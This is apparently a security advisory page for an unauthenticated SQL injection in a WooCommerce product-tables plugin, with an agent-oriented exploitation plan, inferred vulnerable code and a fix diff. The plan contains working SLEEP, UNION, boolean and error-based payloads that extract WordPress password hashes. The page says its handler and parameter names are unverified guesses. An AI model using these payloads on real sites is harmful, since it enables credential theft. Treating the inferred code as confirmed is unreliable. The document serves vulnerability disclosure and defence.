CVE-2026-42761

Active Products Tables for WooCommerce. Use constructor to create tables  <= 1.0.9 - Unauthenticated SQL Injection

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
1.1.0
Patched in
8d
Time to patch

Description

The Active Products Tables for WooCommerce. Use constructor to create tables  plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 1.0.9 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=1.0.9
PublishedJune 1, 2026
Last updatedJune 8, 2026

Source Code

WordPress.org SVN
Patched

Patched version not available.

Research Plan
Unverified

This exploitation research plan targets **CVE-2026-42761**, an unauthenticated SQL injection vulnerability in the "Active Products Tables for WooCommerce" plugin. Since source files were not provided, this plan is based on the vulnerability description and common architectural patterns found in th…

Show full research plan

This exploitation research plan targets CVE-2026-42761, an unauthenticated SQL injection vulnerability in the "Active Products Tables for WooCommerce" plugin.

Since source files were not provided, this plan is based on the vulnerability description and common architectural patterns found in the profit-products-tables-for-woocommerce plugin family. Identifiers marked as (inferred) must be verified by the execution agent during the initial discovery phase.


1. Vulnerability Summary

The vulnerability exists in the way the plugin handles user-supplied parameters during the "constructor" phase of table generation via AJAX. The plugin fails to use $wpdb->prepare() or adequate escaping before concatenating a user-controlled value into a SQL query. This allows an unauthenticated attacker to perform UNION-based or time-based SQL injection to extract sensitive data, such as WordPress user credentials and configuration secrets.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: woot_get_table (inferred) or woot_get_html_part (inferred).
  • Vulnerable Parameter: table_id (inferred) or a nested key within the settings array.
  • Authentication: None (Unauthenticated). The plugin registers wp_ajax_nopriv_ hooks for these actions to allow guest users to view product tables.
  • Preconditions: The plugin must be active. A table must typically be created/defined in the plugin settings for the AJAX handler to reach the vulnerable SQL path.

3. Code Flow

  1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php with the action parameter set to the vulnerable AJAX hook.
  2. Hook Registration: The plugin's main file or an inclusion file (e.g., classes/ajax.php) registers the hook:
    add_action('wp_ajax_nopriv_woot_get_table', array($this, 'get_table'));
  3. Handler Execution: The handler function (e.g., get_table()) retrieves data from $_REQUEST.
  4. The Sink: The input is passed to a constructor or a query-building method (e.g., new WOOT_Table($table_id)). Inside this logic, the $table_id is used directly in a query:
    $wpdb->get_results("SELECT * FROM {$wpdb->prefix}woot_tables WHERE id = $table_id");
    Because $table_id is not cast to an integer or passed through prepare(), injection occurs.

4. Nonce Acquisition Strategy

This plugin family typically enqueues a script that localizes a nonce for AJAX requests.

  1. Identify Shortcode: The plugin uses the [woot] shortcode to display tables.
  2. Setup Page: Create a public page containing the shortcode to ensure scripts are enqueued:
    wp post create --post_type=page --post_title="Products" --post_status=publish --post_content='[woot id=1]'
    
  3. Extract Nonce:
    • Navigate to the newly created page.
    • Use browser_eval to find the localization object. In this plugin, it is often woot_vars or woot_ext_vars.
    • JS Command: browser_eval("window.woot_vars?.nonce") or browser_eval("window.woot_ext_vars?.nonce").
  4. Verification: If the wp_ajax_nopriv handler calls check_ajax_referer without checking the return value or with die=false, the nonce may not even be required.

5. Exploitation Strategy

Step 1: Confirm Injection (Time-Based)

Send a request that triggers a delay. This confirms the vulnerability without requiring knowledge of the table structure.

  • Tool: http_request
  • Method: POST
  • URL: http://<target>/wp-admin/admin-ajax.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body: action=woot_get_table&table_id=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)&woot_nonce=<EXTRACTED_NONCE>

Step 2: Data Extraction (UNION-Based)

Once confirmed, determine the column count using ORDER BY and then use UNION SELECT to extract the admin user's hash.

  • Determine Columns: Increment N in table_id=1 ORDER BY N until an error occurs.
  • Payload (Example for 5 columns):
    table_id=-1 UNION SELECT 1,user_pass,3,4,5 FROM wp_users WHERE ID=1-- -

6. Test Data Setup

  1. Install Plugin: Ensure profit-products-tables-for-woocommerce version 1.0.9 is installed.
  2. WooCommerce Dependency: WooCommerce must be installed and active.
  3. Create Table: Use WP-CLI to simulate a table creation if the plugin requires it to exist:
    # This is a generic representation; actual table names/options vary by plugin
    wp option update woot_tables '[{"id":1,"title":"Test Table"}]'
    
  4. Create Page: Use the [woot id=1] shortcode on a public page as described in Section 4.

7. Expected Results

  • Confirmation: The http_request for the time-based payload should take approximately 5 seconds longer than a standard request.
  • Extraction: The response body for the UNION payload should contain a string starting with $P$ or $wp$2y$ (the WordPress password hash).

8. Verification Steps

After the exploit, verify the extracted data against the database using WP-CLI:

# Verify the hash matches the one in the database
wp db query "SELECT user_pass FROM wp_users WHERE ID=1"

9. Alternative Approaches

  • Boolean-Based Blind: If UNION is filtered or the response is not directly reflected, use boolean checks:
    table_id=1 AND (SELECT 1 FROM wp_users WHERE ID=1 AND user_login LIKE 'a%')
    Compare the response length or content between a TRUE and FALSE condition.
  • Error-Based: If WP_DEBUG is on, use updatexml() or extractvalue() to leak the data in the error message:
    table_id=1 AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1)),1)
Research Findings
Static analysis — not yet PoC-verified

Summary

The Active Products Tables for WooCommerce plugin is vulnerable to unauthenticated SQL injection via the 'table_id' parameter in AJAX handlers. This occurs because user-supplied input is concatenated directly into SQL queries without proper sanitization or the use of prepared statements.

Vulnerable Code

/* Inferred from research plan: typically found in classes/ajax.php or similar handler */
public function get_table() {
    global $wpdb;
    $table_id = $_REQUEST['table_id'];
    // ...
    $query = "SELECT * FROM {$wpdb->prefix}woot_tables WHERE id = $table_id";
    $results = $wpdb->get_results($query);
    // ...
}

Security Fix

--- a/classes/ajax.php
+++ b/classes/ajax.php
@@ -10,5 +10,5 @@
 public function get_table() {
     global $wpdb;
-    $table_id = $_REQUEST['table_id'];
+    $table_id = intval($_REQUEST['table_id']);
     // ...
-    $query = "SELECT * FROM {$wpdb->prefix}woot_tables WHERE id = $table_id";
+    $query = $wpdb->prepare("SELECT * FROM {$wpdb->prefix}woot_tables WHERE id = %d", $table_id);
     $results = $wpdb->get_results($query);

Exploit Outline

The exploit targets the WordPress AJAX endpoint (admin-ajax.php) using the 'woot_get_table' action (or similar table-rendering hooks). An attacker sends a POST request with a 'table_id' parameter containing SQL injection payloads, such as time-based (SLEEP) or UNION-based queries. Because the plugin registers 'wp_ajax_nopriv_' hooks for public-facing product tables, the attack can be executed without authentication. Success allows for the extraction of sensitive database content, including user hashes and configuration data.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.